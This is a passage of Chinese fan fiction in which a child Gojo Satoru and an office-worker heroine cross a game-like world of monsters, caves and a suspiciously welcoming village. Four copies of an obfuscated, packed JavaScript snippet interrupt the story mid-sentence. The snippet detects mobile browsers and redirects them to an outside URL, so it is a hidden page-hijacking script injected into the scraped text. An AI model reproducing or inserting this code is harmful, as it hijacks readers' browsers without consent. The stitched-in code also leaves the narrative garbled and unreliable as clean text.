五条悟还猜测社畜是个不折不扣的颜控,因为面对不认识的野怪,她只攻击造型奇形怪状,长得一看就很凶恶的类型,若是有什么长得毛茸茸并且圆滚滚的可爱生物,一概被她当做空气放过。 这个世界也非常和谐,血条掉光的怪物会原地消失,只留下经验值,没有什么会被PTA(家长学校联合会)投诉的血腥场面。 山的高度变化和实际走过的路程严重不成比例,他们像是走在某种山的缩略模型之中,还没前进多久,植被已经从阔叶变成了针叶,即使是低矮的灌木上也有一层薄薄的霜。 “呜哇……有点冷了。”社畜搓了搓手,选择戴上兼具防滑与保暖功能的手套。 树枝用上一会儿就会断裂,社畜在地上翻找着趁手的树枝,五条悟一如既往地飘在她身后。 变故就是在这一瞬间发生的。 360度无死角的六眼已经察觉到了一股强大咒力的迫近,带来强烈的不详预感。 五条悟瞬间把冷战的事情抛在脑后,飞到社畜眼前尖声告警:“TORU!” 社畜指着灌丛里颤抖的长叶,不解地问他:“为什么……叶子在颤抖呢?难道是某种平时潜伏在地底,只会露出头顶叶子的小精灵,要不要挖挖看?” 【这下面完全感受不到咒力,哪里会有什么小精灵?!叶子在颤抖是因为大地在震动啊白痴!你稍微也清醒一下,搞清楚目前的状况吧!】 五条悟急得上下飞舞,不住地叫着“Toru”往社畜身上撞,催她赶紧逃跑,但社畜却把这番举动解释成了另一种含义。 “别吃醋啦……不是要收服别的小精灵,真的就只是好奇想挖出来看看而已……” 社畜两只手拢住那一丛茂密的长叶,像拔萝卜一样,用力一提—— 晚了。 一团遮天蔽日的阴影笼罩住了他们的上方,五条悟抬头望去,怪物竟然是从空中直接跳下来的。 说到底五条悟的目前的能力也只够自保而已,他以惊人的爆发力迅速闪开,飞高拉远距离,内心陌生又徒然地涌上一股对自身弱小的不甘。 剧烈的撞击声响震得耳膜嗡嗡作响,大地崩裂,碎石飞溅,威力不亚于一颗小型陨石,扬起的尘埃遮天蔽日。 刚才那一下肾上腺素飙升,爆发出了从未有过的高速,五条悟停靠在一截光秃秃的结实树枝上,小猫球剧烈喘息着往下看,蓝色的瞳孔紧缩至几乎只剩一线,急切地搜寻着一切可以捕捉到的信息。 地表依然尘烟弥漫,隐约能看见一个巨大的深坑,一团强大的咒力蛰伏其中。 社畜多半已经…… 可恶啊……这个笨蛋女人,就不能,哪怕有一次,和他对上一下电波吗? 被封印全部咒力也就算了,为什么连说话的能力也要被剥夺? 这就是……弱者的世界吗…… 什么也无法守护的……这种屈辱的心情…… 胸口传来一阵陌生又熟悉的刺痛之感,像是要撕裂某种禁锢他的枷锁…… 然而,还没等他细细体会这种感受—— 人在极度紧张的时候视域会收缩,或许这正是五条悟过了好一会儿,才察觉到身后有一团咒力在接近的原因。 他错愕地回过身去。 远远有一个小点,是社畜双手高高攀着一个巨大的蒜头,飘浮在空中。 蒜头的头顶伸出巨大的叶片,像直升机一样旋转着,发出啪嗒啪嗒的响声。 社畜带着惊喜的表情朝他飞来,飘飘摇摇地在他旁边停下,松手放飞大蒜头。 “哇,还好你没事,小猫兽,”社畜浑然不觉五条悟经历了怎样一番心灵的地震,自顾自地碎碎念, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156192|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我刚刚把蒜头怪拔出来,它就吓得猛往空中飞,一下子就带我升天了,我除了紧紧抓住它之外没有别的办法,已经开始在空中含笑想着‘再见了这个世界我爱你们’这种程度的遗言,然后低头一看,居然发现地面有一只巨大的长毛怪兽,原来蒜头怪刚刚应该是躲它吧?好在等蒜头怪平静下来之后,我稍微可以通过手指的力度指挥它的飞行方向,不然我们说不定要隔上好久才能相见了……” ……连对他的称呼都从来没有固定过,感觉相当不走心啊,五条悟恍惚地想。 地表的尘土逐渐散去,露出了怪物的真容。 是一只身形巨大,獠牙森然,长相骇人的长毛雪怪。 许多蒜头高速旋转着叶片飞速逃窜,这种小精灵看起来也毫无战斗力,但是只要能成功飞到空中,就是无人可以反应,甚至肉眼也无法捕捉的神奇速度,一眨眼就飞远了。 只会躲在地下隐藏自己的气息和扇动叶片飞速逃跑,但是弱者也有自己的生存之道。 在雪怪震出的那个深坑中,它用并未完全被白色长毛覆盖的黑色手掌四下扒拉着从地里暴露出来、或许因为叶片损坏或者身体什么部位受伤,还没来得及逃跑的蒜头。 雪怪一把扯掉蒜头可以飞行逃跑的叶片,毫不客气地塞入口中。 社畜低头看了一眼,随口吐槽:“这么爱吃蒜,口气一定很臭吧,小心不要站在它的正面,会被它哈出来的臭气熏晕的。” ……你都在关注些什么啊。 五条悟绝望、又恼羞成怒地发现,自己又迎来了那种要进化的感觉。 ……算了,进化了也好,快结束这场闹剧吧。 一阵柔和的光芒自他体内涌出,很快覆盖住了他,在蒜头叶片高速旋转的啪嗒声,底下雪怪沉重的喘息声和嘎吱作响的咀嚼声中,五条悟发现自己的身体拉长,四肢逐渐成型,不由地松了一口气。 总算能恢复人型了。 在社畜惊异的目光中,光芒散去。 扶着树干坐在她旁边的,是一个白发蓝眼,穿着一身夏日浴衣的小男孩,比雪还要洁白纯净的睫毛轻轻扇动,用一种冷漠又复杂的眼神看着她。 社畜瞳孔地震。 原来还,真,真的是他啊?! 究竟是为什么一直不告诉她啊?! 想起她一直以来的所作所为,对象实则是一个小男孩,感觉无论如何都会被警察抓走的社畜差点扶不住树枝从树上面掉下去。 ……奇怪,明明知道这是一个有着“声优”的动漫人物,为什么下意识地肯定这不是一个虚幻的人呢? 她结结巴巴地问:“那,那个……请,请问你是?” 五条悟满意地发现,虽然依然没有咒力,但总算是可以控制自己的声带了。 即使是在树枝上,小男孩也肩背挺直,坐姿端正,一看就家教良好。 他慢条斯理地伸手整了整浴衣的端折与腰带,然后缓缓抬起那双湛蓝的双眼,语气从容傲然。 “悟(Satoru)。” 15.伙伴悟 “啊……‘Sa’和‘Toru’,连起来确实是悟(Satoru)呢。”社畜觉得这个名字非常耳熟,想来一定是之前总是听着小毛团和猫猫球“Sa——”和“Toru——”叫个不停的缘故。 “五条悟。”小男孩坐在旁边,又重复了一遍完整的姓名。 社畜也礼貌性地自我介绍:“啊……你好,我是社畜。” 五条悟不动声色地打量了她一眼,看见她没什么别的举动,听见这个名字也毫无反应,看起来真的并不是咒术师。 只是……依然用着化名,看来还是不信任他。 总觉得有点火大。 但他并没有表露出来,只是偏过头,装作不在意地望向远方。 雪怪还在下面游荡,他们默契地暂时不打算准备下去,沉默了一会儿,社畜艰难地低下头认错:“对不起,我之前并没有意识到……你其实是个人……就是说……希望你不要感到困扰……” “没事的……”五条悟依然看着远方,耳尖却微微发红。 因为身体变化,他之前也出现了一些无法控制的生理反应,比如说过度诚实、非常不得体和暴露内心想法的炸毛什么的…… 两个人对视一眼,心照不宣地决定共同揭过这一篇章,对之前的一切避而不谈。 社畜好奇地问道:“但是……小弟弟,为什么不告诉我你其实是人呢?” 就算不能说话,也有很多办法吧,比如在空中比划,或者沾水在桌面上写字什么的。 “因为不能确定你的阵营和目的。”少年的声音平淡而冷漠。 社畜欣慰地看着他,露出慈祥的笑容,真是一个聪明又机敏的小孩,看来家里和学校的安全教育做得十分到位。 就这么带着笑容,她若有所思地歪了歪头:“所以你是亲密度进化的类型吧?” 因为越来越信任她所以进化了什么的。 “不是的,”五条悟微微蹙眉,飞快地否认了,眼帘下垂,依然不看社畜,“是心里想变强的时候会进化。” ……啊,社畜心里浮现出无数熟悉的剧情桥段。 什么在生死攸关的危急时刻,因为想要保护训练师的强烈愿望而突然进化,非常王道的套路。 与此同时,雪怪摇摇晃晃地走远了,他们两个似乎可以扒着树干滑下去。社畜把手套脱下来,递到五条悟面前:“给你,虽然可能大了点,但是可以保护你的掌心不被树皮划伤。” “不用。”五条悟言简意赅地拒绝。 “小孩子不要为了装酷逞强,即使你以后和别人吹牛‘我不戴手套从8米高的树爬下去了’我也不会拆穿你的。”社畜露出无奈的表情,强行把他的手拉过来,准备把手套给他戴上。 ……谁会要吹这种牛啊,五条悟不屑地想。 可是……胸口又有奇怪的、暖暖的感觉。 可就在社畜握住他的手时,却突然沉默了。 面前看起来养尊处优的小男孩却拥有着一双和外表不符的手,掌心和指节处都有变形鼓起的厚茧,皮肤的质感极为粗糙,甚至还能看到不少细小的泛白伤疤。 这绝对是一双……习惯战斗的手。 她这才恍然想起面前的人似乎好像其实是非同一般的动漫角色,顿时有种不祥的预感。 “……那个,小弟弟,你是做什么工作的?” 不会也和奇犽一样是杀手吧……她心惊胆战地想。 五条微微眯起眼睛想,不能对普通人暴露咒术界的存在,但是在这种不知道陷入了什么困境的情况之下,似乎也可以通融。 “是咒术师。”五条悟语气平淡,同时也在观察社畜的反应。 社畜的表情竟然一下子变得微妙起来:“你也在东京都立咒术高等专门学校读书?” 五条悟微微一怔。 普通人怎么会知道这个?之前也有认识东京的咒术师吗?五条悟警惕地打量了她一眼,心想,就算要去高专,他也应该是去京都的才对。 ……虽然为了逃避家里严厉的管束,去更远的东京,似乎确实是一个更好的选择? “……还没到入学的年龄。”他谨慎地顺着社畜的话往下说。 “啊……”社畜随口回应道,脑子里却在呆呆地想,之前那个同样是蓝眼白发的青年,究竟叫什么名字来着? 可恶,再怎么不擅长记别人的名字也该有个限度吧!明明就是不久之前认识的人诶!怎么会连这种事情都忘了,不会工作和熬夜给她的大脑造成了不可逆的损伤吧?! ——“我——叫——悟——哦——” ——“悟。” 刹那间,好像突破了什么无形的封锁,有点拽的青年声音,和稚嫩清冷的童声,重叠在她的脑海中。 是悟啊! 她恍然大悟地抬头看着眼前的小男孩,蓝眼澄澈,面容逐渐与之前的青年重合。 分明就是同一个人嘛!怎么会没发现呢? “怎么了?”五条悟抬眼问她。 “没事。”社畜面无表情,迅速地把手套收回。 五条悟:? 社畜愤愤地想,那个臭屁小子满嘴的什么“最强”、“六眼”,想必面前的小朋友也人不可貌相,长着一张肉嘟嘟人畜无害的脸,说不定强得离谱。 她拍拍他的肩膀:“用你的咒力让我们飞下去吧。” 她还记得之前五条悟慢悠悠地从魔王殿上飘下来的样子。 五条悟淡淡地说:“我做不到。” 在社畜面前,五条悟发现自己很轻松地就可以承认这一事实。 所以她认识的咒术师究竟是个什么样的人啊?拥有飞行的术式吗? “哈?”社畜的大脑飞速运转,莫非控制负面情绪的超能力也是需要学习的吗? 五条悟叹了一口气,直切入问题的核心,轻描淡写地补充:“我的咒力全消失了。” 社畜纠结地看了一眼面容精致的五条少爷,收回去的手套又递了出来。 * 两个人最终还是扒着树干一点点爬下来的,在五条悟的再三拒绝下,手套戴在了社畜自己手上。 慢吞吞地平安落地,社畜拍干净手套上的木渣,转头正好看见五条悟一副游刃有余的模样,轻巧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158561|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跃下最后一段距离,动作敏捷。 她忍不住“啪啪啪”地鼓起掌来,双眼冒着星星。 “哇!感觉动作很帅气利落!难道你通过进化,已经学会了什么体术或者格斗技吗?” 热情的掌声让五条悟微微避开视线,他摇头:“……没有,只是因为不用咒力的体术也在我平时的训练范围之内罢了。” 不然对于天生拥有咒力,习惯用咒力加强身体的人而言,在某些失去咒力的情况之下,反而会变得比一般人还要弱小。 社畜小声感慨:“原来只是越进化越好看啊……” 他的种族难道是什么‘小白脸’吗…… 感觉这个女人又在想什么奇怪的东西了,五条悟无言地用目光表示不满。 “嘛,说不定你的天赋正是比如说‘让所有的咒力都无效化’这种厉害的东西呢,毕竟都是终极形态了。”社畜乐观地说。 “蛇的毒液也会毒死自己吗?”五条悟冷冷地吐槽,抬头看见社畜神色古怪,“你怎么是这个表情?” 社畜收起嘴歪眼斜的痛苦表情:“不……只是想起了一位故人。” ——长大的你。 社畜向来牙尖嘴利,极少能碰到五条悟这样能和她有来有回的人,想不到这一特色在他小时候已见端倪。 五条悟的脑子里鬼使神差地冒出了一个名字:“奇犽?” 社畜:“……” “不……不是他……虽然解释起来有点复杂……但是……”她少见地感到了心虚,飞快地转移话题,“你的脑子真好用!” 记忆力真好。 傻瓜才听不出她在阴阳怪气,五条悟毫不犹豫地回击:“你的嘴也挺好用的。” 社畜:“哎呀,一直在这里斗嘴也不是个办法,不如我们还是先回村里——” “小心!” 空气瞬间凝固。 五条悟瞳孔骤然紧缩,立刻朝社畜飞扑过去。 熟悉的巨大咒力再一次从天而降,如雪崩般轰然砸下。 可恶!怎么又来了?莫非这里是雪怪的固定捕食范围吗?! * 没有无下限阻隔的怀抱是意料之外的柔软。 还好这一次,他起码拥有了可以把她推走的力量。 身后像发生了爆炸一样,传来天崩地裂的轰鸣,地表炸裂开来,大大小小的土石砸在他的身后,他们重重地落地后,因为冲击力的惯性和地势的倾斜,一连好几个翻滚,却突然身下一轻。 社畜尖叫:“这是从哪里突然冒出来的洞啊?!——” 风声在耳边呼啸。 社畜在惊声吼叫之中,竟然还有心思反手护住五条悟,把他按进了自己怀里。 从社畜手臂贴着他脊背的那块,传来源源不断的酥麻感,可他竟然对眼下的这番危机如此地无能为力。 胸口又开始刺痛了,痛觉沉沉地下坠到腹部。 五条悟睁大了湛蓝又迷茫的双眼,迟钝地意识到——之前胸口的刺痛和暖意,原来是两种不一样的感受啊。 但他们只是连同着碎石一起,直直地下坠。 16.伙伴悟 意料之外的变故再一次发生了。 像是漆黑一片的剧院突然亮起灯光,好戏正式开场,瞬间模糊了现实与想象的边界。 明明是昏暗幽深、空无一物的溶洞,突然被绚烂的色彩充盈。 像是有某种色彩艳丽的烟花悄然绽放,在空中静默地绽开一团又一团的彩光,把这里变成了梦幻的泡沫世界。 原来是某种悬浮在这一溶洞空中的透明生物,被他们的声音惊吓到之后,在短短几秒之内膨胀至原来的三四倍,像是蘑菇“嘭”地一下张开菌伞,原本透明的身体也转瞬变成了可以恐吓天敌的那种艳丽色泽,有着剧毒一般的妖冶。 一开始,仅从他们掉落下去的那个洞口透出一丝笔直的透明光线,现在,四周的岩壁都映照着无数彩色的光斑。 漫天飘荡着的生物,轻盈得像是水母升腾在海洋之中,用翩跹如彩带一般的须足在身下控制着自己飘动的方向。 每只都是鲜亮又梦幻的颜色,圆球中心的颜色最深,渐变至边缘又几乎是透明,聚集在一起组成令人目眩的灿烂光景。 于是溶洞的上空几乎被这些瑰丽的生物填满,每一只都柔和地漂浮旋转着。 紧紧抱作一团的社畜和五条悟就如同玩蹦床一样,从一只彩色泡泡弹到另一只彩色泡泡身上。 它们柔软的身体一次次缓冲抵消掉重力的冲击,最终使他们轻柔地安全着陆。 落地后,社畜眨眨眼:“哇,这可真是——” 她抬头看向这些彩色的泡影,五彩斑斓的光点也照在她的眼中,社畜张大了嘴,一时也有点失语和恍惚。 梦幻到几乎不真实的景色,加上劫后余生的庆幸,一时让人有点晕晕乎乎,泛起一阵不知道是过度喜悦还是没回过神的晕眩感。 “松手。” 五条悟冷淡的声音,把她拉回了现实。 明明是他主动扑过来的,在平安落地之后也是他率先放开手试图抽身。 五条悟总觉得这个社畜小姐的运气好到不正常,每次遇到危险都能刚好躲开,说不定刚刚他不去扑开她,她也能化险为夷。 他神色复杂地看着社畜,自己却依然在困惑另一件事——虽然不想承认,但是,为什么会有不一样的感觉呢? 想变强的时候,是胸口的刺痛感,尤其是这股痛觉随着一次次的刺激,逐渐下移蔓延至腹部的时候,他才确证自己正是被什么力量封印住了咒力,毕竟腹部是咒力的来源。 可是,面对社畜的时候,那种偶尔很想揍她但又未必真的想揍她,和她斗嘴的时候明明生气又有点意外地心情舒畅,被她保护的时候内心确实感到一丝触动,但又觉得十分肉麻,会觉得这不是什么理所当然的事情,暗中认为自己一定要保护回去才对,那种奇怪的心情……胸口暖洋洋的感觉,究竟是什么呢? 没有经历过平等人际关系的五条大少爷陷入深思。 一些人把他当做无坚不摧的名刀,期望他可以斩除一切障碍,另一些人把他当珍贵的名器,唯恐有一丝裂痕折损了他的价值,他作为“人”的存在无人关注,被夹在正中百无聊赖又漫无目的地游荡着。 ……所以,所谓的进化,是要他变成“人”吗? 五条悟想不明白,如果潜伏在暗处的人有什么目的,这一目的简直匪夷所思。 更让人摸不清头脑的是社畜,五条悟沉着地告诉她:“你之前也看见了,就算没有咒力,我的□□强度也比你高上不少,遇到危险先保护好你自己。” “话是这么说没错啦……”社畜讪讪地挠了挠头,“但是身体下意识的反应,我也拦不住啊。” “为什么呢?” 社畜歪了歪脑袋:“好像也可以分析出什么‘为了种族的繁衍,保护新生弱小个体是一种生物的本能’这类道理出来,但是对我而言,更重要的是,完全没有办法看着别人受伤或者痛苦,而无动于衷啊……” “……把自己当神吗。”五条悟小声地吐槽。 “就是知道自己不是神,知道自己也有弱点和局限,自己也是血肉之躯,所以才能这么去理解别人——比如知道别人受伤了也会疼这种事情。” 五条悟怔怔地看着她。 社畜却突然开心地拍手:“这种话说出来是不是超——酷的!我早就想试试看这种台词了!” 五条悟:? 社畜理所当然地拍了拍五条悟的肩膀:“保护你当然是因为你长得很漂亮呀,五条小弟弟,看见美好的东西自然就想守护,这是人之常情!可恶啊,长得好看就是有优势。” 这、个、女、人! 生气起来的时候,五条悟的表情就变得生动多了,不再是那副傲雪凌霜的神情,总算有了点小孩的样子。 他“哼”了一声,幼稚地把头扭过去不理社畜。 ……啊,社畜默默忏悔,明明是个很好的小孩,遇到危险会毫不犹豫地在意她的安危,长大之后虽然欠打和多疑了一点,但是好歹也救过她一命…… 为什么总是会忍不住逗他呢? 感觉越是冷脸装酷的小孩,逗起来越有意思。 大概是在长大了一点的他身上吃了太多亏,什么被枪抵着脑门啦什么被怀疑是咒灵啦又被怀疑是一切阴谋的幕后黑手啦,一想到这些她就气得牙痒,非常没有成年人气度地在小孩子身上报复回来了。 等下。 社畜突然有点心虚。 不会正是因为小的时候总是被她欺负,所以长大之后才会这么笃定她是魔王的吧?! 社畜越想越心虚,马上用一种“看是流星!”的做作语气迅速转移话题:“好漂亮的泡泡怪啊。” 说是转移话题,其实她自己也被这些美丽的生物吸引了注意。 在受到刚刚的惊吓,平复了一会儿之后,这些水母一般的生物似乎也慢慢平静下来,身上的颜色也逐渐没有那么鲜亮刺目,变得柔和起来,温柔又梦幻。 它们缓缓浮动在黑暗的溶洞里,使这里像是星云遍布的宇宙、又像是浩瀚神秘的深海。 看到这种瑰丽又宏大的场景,难免会产生心灵的震颤。 社畜微微歪头,看了一眼五条悟。 他也抬着头认真地仰望空中,柔和的七彩炫光落在他的银发上,反射出一片更加不真实的、熠熠发亮的光辉,睁大的蓝眼睛也像是一颗本就属于这块小型宇宙的启明星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167442|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “呐,五条小弟弟,这个世界……真是美好啊……”她收回目光,嘴角带着满足的笑意,喃喃自语。 五条悟没有扭头:“社畜小姐。” 社畜:“嗯?” 五条悟:“出去之后,要不要来我家工作?” 社畜:“才不要。” “连我家在哪,要做什么样的工作,工资报酬怎么样这些……都不象征性地问一下吗?”五条悟无语地转头问她。 社畜垂下眼睫:“大概是……去不了的吧……” 她的声音很平静,五条悟突然觉得她很遥远,远得像是来自另一个世界。 他沉默了一瞬。 “好吧。”声音听起来还是有点失落的。 他扭回头,无不遗憾地想,还是很希望能有一个社畜小姐这样的人在身边陪他玩。 说话有趣,人也有趣,虽然脑回路有点奇怪,但总比家里那些满嘴正论,没开口就知道他们要说什么话的人好玩,不会让人无聊…… 更重要的是,在社畜小姐身边,或许是被她的人格影响,又或许是这个世界也足够有趣,他总能感觉到“活着”这件事,变得更加真实,会遇到很多惊喜。 社畜沉思片刻,想到五条悟之前一副持正矜贵,家教良好又漠然疏离的样子,心想大概是童年会有点寂寞的那种名门望族吧? 她还是开口安慰道:“没关系的,五条小弟,虽然……” 脑海里突然想起另一个五条悟说过的话。 ——“我啊,现在在东京都立咒术高等专门学校读书,怎么说呢,课上得马马虎虎,作业——呃,交了也只是为了不被老师骂,学校的活动嘛……要是有趣的话就凑个热闹……虽然偶尔也有不得不去参加的内容……” 说得懒懒散散,不情不愿,但是听起来还是对学校生活很满意的。 长大后性格倒是变了不少。 她忍不住笑了一下,立马接着说了下去:“虽然不知道你现在过的是什么样的生活,但是我敢保证,你的未来一定会非常精彩——会帅气地长大,会变得更强,会在学校认识有趣的朋友,说不定你还会跟他们吐槽——啊我曾经遇到过一个很莫名其妙的怪女人……” 什么啊,说这种预测未来一样的话,预言家吗?还是拥有未来视?五条悟瞥了她一眼。 “……当然,更重要的是,我们还会见面的。”社畜非常肯定地说。 她说得那么笃定,连五条悟都有点相信了。 他迟疑地开口:“那……下次见面的时候,一定会让你好好看看我的实力。” 想到从这里出去后重逢的场景,五条悟忍不住勾起嘴角,语气里透着一丝幼稚的得意:“说不定,还要我保护你……” 他心中的重逢场景,大概会是社畜小姐遇到了什么危险,比如又被危险的咒灵或者诅咒师缠上了,然后他以帅气的姿态从天而降,祓除咒灵,打倒诅咒师,就像游戏里的勇者大人一样。 一定会让这个女人瞠目结舌,用崇敬的眼神看着他,拜倒在他真正的实力之下——把在这个女人这里受到的屈辱,悉数以让这个女人刮目相看、悔不该当初的方式返还! 17.伙伴悟 社畜的眼皮跳了跳。 啊……怪不得…… 怪不得后来的五条悟,在知道自己把他当成勇者召唤出来的时候那么满意,又在可以大显身手的时候那么迫不及待…… 结果硬生生被她打断了。 社畜啊社畜,她在内心叹了口气,自己怎么总是这么不解风情呢?瓶盖拧不开就大吼一声使劲用力,还拧不开就用牙齿咬——偶尔也应当示下弱的嘛! ……算了,光是想一想自己会做出那种不符合性格的事情,就觉得浑身不自在。 不过一直待在这个山洞里也不是个办法,眼看着“伙伴”已经进化成最终形态了,游戏却没有通关,更何况社畜又感到一阵隐隐的饥饿感,她想,还是赶紧找到出口,回村里去吃点东西吧,也许还能触发点后续剧情。 只是脑海里刚冒出了这个想法,漫天的水母似乎能听见她的心声,齐齐向一个地方飘动,像是在空中铺出一片倒置的银河之路,最终指引向洞穴深处的一个狭窄入口。 社畜:…… 她心有余悸地捂住了嘴,好险,还好这次没把想法没说出口,之前的五条悟似乎就是在这些莫名其妙的巧合之下,开始怀疑她是魔王的。 可是…… ——“说实话,要非常迟钝才会察觉不到,这里一切剧情和环境的发展,都完全随着社畜小姐的想法和意志来呢。” 社畜茫然地看向空中浮游的光点,难道说,真的一切都会随着她的想法和意志变化吗? 五条悟将她的茫然理解成了另外一种含义,他指着水母泡泡迁徙的方向:“要跟过去看看吗?那边能感受到有风,说不定是出口。” 社畜闭上眼睛认真感受了一下。 ……什么感觉也没有。 但五条悟似乎对自己的五感非常有自信,想来□□的强度确实也是不一样的,再加上水母应该不会无缘无故移动,社畜放心地跟了上去。 钻过一个小洞,随着他们的深入,空间也越来越狭窄逼仄,这下社畜终于感受到了阴阴的冷风,她缩着脖子往五条悟身边凑近了点。 溶洞的地面崎岖湿滑,社畜每走一步都把脚抬得高高的,再慎重地落下,走路的姿势像只小鸡。 小时候的五条悟看起来比长大后还要可靠,他瞥了社畜一眼,抿了抿嘴,一言不发地伸出手。 社畜眨了眨眼,不会是要牵着她吧? 看表情有点纡尊降贵、勉为其难、施舍可怜她的感觉,但社畜只觉得好笑。 水母已经褪色成了一种珍珠白的荧光,像是悬游在空中的星辰。移动的光芒映在五条悟稚嫩又精致的脸庞上,勾勒出一片流转的明暗。 “快点。”小少爷有点不耐烦了。 社畜轻轻握上五条悟比她小上一圈,还带着点软乎乎肉感的手,和潮湿阴冷的山洞里比起来,这只手倒是温暖又干燥,从握住的那一瞬间开始,给予她源源不断的安心感。 地势向下倾斜,五条悟走在前面,握着她的那只手下意识地抬高,稳稳地让她借力。 社畜顾左右而言其他:“我有买保暖的大衣。” “穿上之后你还能动吗?”五条悟又用那种看白痴的目光看了过来,和高专时期相比,带着婴儿肥的脸做这种表情实在是不太有威慑力。 社畜努力压下成年人想偷笑的嘴角,握着这只手,她慢慢地想,这么可爱的小孩,五条悟怎么会是魔王呢? 仔细一想,成长为男高的五条悟,虽然嘴上不饶人,说话直率又粗线条,但却有种别扭的温柔,就算怀疑她是魔王,也会谨慎地反复确认,即使是从她这个秉承爱与正义的女主角视角看来,也该是个好人嘛! 也是爱与正义的伙伴! * 穿过一条极为狭窄幽深的小道,洞内的空间逐渐开阔起来,远远地能看到一个透出强烈日光的小口。 五条悟把手收了回去,空中的泡泡怪已经又悄然变得透明,如果不是从某些特定的角度可以看出一些阳光折射的变化,社畜根本发现不了这里的空中遍布着某种生命。 他们一前一后地从洞口钻出去,熟悉的风景映入眼帘。 社畜迟疑:“这里是……?” 五条悟环顾一圈,伸手指了个方向:“往那边走就是村庄了。” 只是穿行在洞中,他们竟然就已经下了山,站在小坡上远眺,再走段路就可以直接抵达村口。 也算是好事,踩在坚实的草坪上,带着马上就可以通关的轻快心情,社畜的脚步都忍不住快了一点。 还没到村口,社畜就远远地看见一群人围在村门的两边,弥漫着热闹的气氛,许多形态不一的小精灵也在旁边。 在他们的注视下,社畜和五条悟的身影刚一出现,掌声便如潮水般响起,能飞到空中的精灵都已经在激动地打转了。 走得越近,掌声越热烈,新手引导员、杂货店员、兔子店员、甚至只是擦肩而过的村民……脸上都洋溢着巨大的笑容,用力地鼓着掌欢迎社畜他们。 这是……怎么回事? 社畜和五条悟交换了一个困惑的目光,五条悟微微摇了摇头,示意自己也不知情。 新手引导员已经迎了过来,笑容比平时更为灿烂:“太好了!社畜!大家都已经听说你培育出成熟体伙伴的消息了!” 消息这么灵通吗? 社畜困惑地看向热情的村民们,她的视线落在谁的身上,谁就笑得更用力,鼓掌也更起劲,一片欢腾的掌声。 “当然啦!培养出成熟体很不容易的,你平时在村里看到的这些伙伴,基本都停留在幼年体或者青年体,成熟体极其罕见,个体的天赋和培育师的爱与关怀缺一不可。培育出一只成熟体,可以造福全村好长一段时间呢!”引导员走上来,想拉着她和五条悟往村里走。 五条悟皱了皱眉,侧身避开了,他总觉得她的语气古怪。 这些人看向他的眼神与其说是热情,不如说是贪婪,感觉有点怪异。 “那……我们现在要做什么呢?”社畜还在浑然不觉地试图发掘主线剧情的走向。 “当然是去见长老们啦!”她快活地拍了拍社畜的肩膀。 即使是新手引导员向来笑容甜美,情绪积极,社畜也从未看过她这么开心。 “见长老……做什么?” 引导员爽朗地笑:“还能做什么,当然是问问你是怎么培养的,然后给点奖励。” * 在引导员的带领下,他们回到了集会所。 出乎社畜的意料,原本以为集会所只有盘旋大树而上的楼梯,没想到在那扇门的旁边,还有另一扇不起眼的小门,里面是通往地下的楼梯。 偌大的集会所里空空荡荡,连原来站立在门口的登记员也不见踪影。 引导员和善地站在社畜身边,为她打开门:“去吧,长老都在下面等着呢。” “那个……我还是先回趟家……因为我有点饿了,还是想先去吃个饭!” 社畜心下不宁,一把抓住五条悟的手腕就想开溜。 引导员自然地拦在了他们面前。 “急什么?”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180451|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依然笑眯眯的,轻声细语,“都到这里了,先去见一下长老们吧,很快就好。” * 社畜被迫进门,走了几步后她回头望,引导员还笑意盈盈地守在门口。 转回来看向前方,通往地下的楼梯也是围绕着古木树根盘旋,楼道两边摇曳着昏暗的火光,映照着古老斑驳的砖石。 “感觉不太对劲。”一路沉默的五条悟终于出声。 “我知道……”社畜的视线缓缓扫过摇晃的灯火,但还是乐观地说,“说不定真的是去领通关奖励呢,放心吧,有我在,没什么好怕的。” ……她似乎好像真的可以用想象力影响这个世界。 上一个世界的通关方式不太和谐友善,说到底她现在都不清楚那究竟算通关了没有,也不知道五条悟最后有没有获得什么奖励…… 但是这一次,作为并肩成长的伙伴,说不定大家人人都有份。 